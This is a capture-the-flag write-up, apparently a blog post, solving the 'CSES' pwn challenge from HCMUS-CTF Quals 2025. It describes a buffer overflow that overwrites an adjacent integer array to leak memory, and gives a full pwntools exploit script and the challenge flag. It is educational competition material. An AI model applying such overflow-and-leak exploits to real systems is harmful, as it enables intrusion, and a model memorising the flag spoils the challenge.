HCMUS-CTF Quals 2025
This post will detail my solutions for the Pwn challenges CSES, from the HCMUS-CTF Quals 2025.
CSES
This challenge was inspired by a competitive programming problem, which honestly had me stumped for a bit trying to solve it with a CP approach.
Bugs
The vulnerability is a classic buffer overflow. We can input 184 bytes into the query array, which only has space for 100. A quick look in IDA reveals that this allows us to overwrite the first 56 bytes (14 elements, since they’re integers) of the adjacent arr array.



Exploit
The program then prints out elements from the query array based on the values in arr. Since we control the first 14 values of arr, we can manipulate them to be offsets to other elements within arr itself, effectively leaking their values. To leak the j-th value of arr (0-indexed), we can set an element we control to: arr[i] = (arr_offset - query_offset + 4 * j). This technique allows us to leak a total of 14 * 6 = 84 elements from the arr array.
Considering the 14 overwritten ones, we now have 98 known elements. This leaves only two unknown bytes, which can be easily bruteforced. A more elegant (and time-consuming) solution could involve a CP approach to uncover them.
Exploit script
1from pwn import *
2
3for _ in range(100):
4 io = process('./chall')
5 # io = remote('chall.blackpinker.com', 33905)
6 io.recvline()
7
8 offset = 0x7340 - 0x72C0
9 res = [0] * 100
10 sz = 14
11
12 for i in range(6):
13 b = b''
14 for j in range(100):
15 if 1 & (j >> i): b += b'1'
16 else: b += b'0'
17
18 b += b'\x00' + b'1' * 27
19 for z in range(sz):
20 b += p32(offset + 4 * (100 - sz * (i + 1) + z) + 1)
21
22 b = b[:-1]
23 print(b)
24 io.sendline(b'? ' + b)
25
26 res[100 - sz * (i + 1): 100 - sz * (i + 1) + sz] = [i for i in io.recvn(sz)]
27
28 for z in range(14,16):
29 c = io.recvn(1)
30 if c == b'1':
31 res[z] += 1 << i
32
33 io.recvline()
34
35 res[0:sz] = [offset + 4 * (100 - sz * (5 + 1) + z) + 1 for z in range(sz)]
36 for i in range(14, 16):
37 res[i] += 1
38
39 io.sendline(b'! ' + b' '.join([str(i).encode() for i in res]))
40 print(f'res: {res}')
41
42 print(io.clean(1))
HCMUS-CTF{A_b!t_of_OVerFL0W_4ND_brU7e_fORcin9_mAY_Be_neC3SsArY}